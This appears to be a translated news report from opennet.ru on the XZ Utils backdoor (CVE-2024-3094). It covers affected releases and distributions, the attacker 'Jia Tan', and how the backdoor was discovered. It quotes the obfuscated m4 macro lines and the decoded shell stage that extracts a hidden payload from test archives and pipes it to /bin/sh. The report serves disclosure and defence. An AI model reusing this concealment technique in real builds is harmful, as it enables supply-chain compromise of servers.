In the XZ Utils package, which includes the liblzma library and utilities for working with compressed data in the β.xzβ format, a backdoor (CVE-2024-3094) has been identified that allows the interception and modification of data processed by applications associated with the liblzma library. The main target of the backdoor is the OpenSSH server, which in some distributions is bundled with the libsystemd library, which in turn uses liblzma. Linking sshd with a vulnerable library allows attackers to gain access to the SSH server without authentication.
The backdoor was present in the official releases 5.6.0 and 5.6.1, published on February 24 and March 9, which managed to get into some distributions and repositories, for example, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide and 40-beta, openSUSE factory and tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. All users of xz 5.6.0 and 5.6.1 releases are recommended to urgently roll back to version 5.4.6.
Among the factors mitigating the problem, it can be noted that the version of liblzma with a backdoor did not manage to become part of the stable releases of large distributions, but affected openSUSE Tumbleweed and Fedora 40-beta. Arch Linux and Gentoo used a vulnerable version of zx, but are not susceptible to the attack because they do not apply the systemd-notify patch to openssh, which causes sshd to be linked to liblzma. The backdoor only affects x86_64 systems based on the Linux kernel and the Glibc C library.
The backdoor activation code was hidden in m4 macros from the build-to-host.m4 file used by the automake toolkit when building. During assembly, during the execution of intricate obfuscated operations based on archives (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), used to test the correctness of operation, an object file with malicious code was generated, which was included in the liblzma library and changed the operation logic some of its functions. The m4 macros that activate the backdoor were included in the release tarballs, but were not in the Git repository. At the same time, malicious test archives were present in the repository, i.e. the person who implemented the backdoor had access to both the repository and the release generation processes.
When using liblzma in applications, malicious changes could be used to intercept or modify data, or affect the operation of sshd. In particular, the malicious code spoofed the RSA_public_decrypt function to bypass the sshd authentication process. The backdoor included protection from detection and did not manifest itself when the LANG and TERM environment variables were set (i.e., when running the process in the terminal) and the LD_DEBUG and LD_PROFILE environment variables were not set, and was also activated only when executing the /usr/sbin/sshd executable file . The backdoor also had a means of detecting execution in debug environments.
In particular, the m4/build-to-host.m4 file used gl_am_configmake=`grep -aErls β#{4}[[:alnum:]]{5}#{4}$β $srcdir/ 2>/dev /null` β¦ gl_[$1]_config='sed \Β»r\n\Β» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
In the first construction, the grep operation found the file tests/files/bad-3-corrupt_lzma2.xz, which, when unpacked, generated the script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirΒ» fi export i=Β»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw βlzma1 -dc|/bin/sh ####World####
How the attackers managed to gain access to the infrastructure of the xz project has not yet been fully clarified. It is also not yet clear how many users and projects were compromised as a result of the backdoor. The alleged author of the backdoor (JiaT75 - Jia Tan), who posted archives with malicious code in the repository, corresponded with Fedora developers and sent pull requests to Debian related to the transition of distributions to the xz 5.6.0 branch, and did not arouse suspicion, since he participated in xz has been developing for the past two years and is the second developer in terms of the number of changes made. In addition to the xz project, the alleged author of the backdoor also participated in the development of the xz-java and xz-embedded packages. Moreover, Jia Tan a few days ago was included in the number of maintainers of the XZ Embedded project used in the Linux kernel.
The malicious change was discovered after analyzing excessive CPU consumption and errors generated by valgrind when connecting via ssh to Debian sid-based systems. It is noteworthy that the xz 5.6.1 release included changes prepared by the alleged author of the backdoor in response to complaints about sshd slowdowns and crashes that arose after upgrading to the zx 5.6.0 version with the backdoor. Additionally, last year Jia Tan made changes that were incompatible with the "-fsanitize=address" inspection mode, causing it to be disabled during fuzz testing.
Source: opennet.ru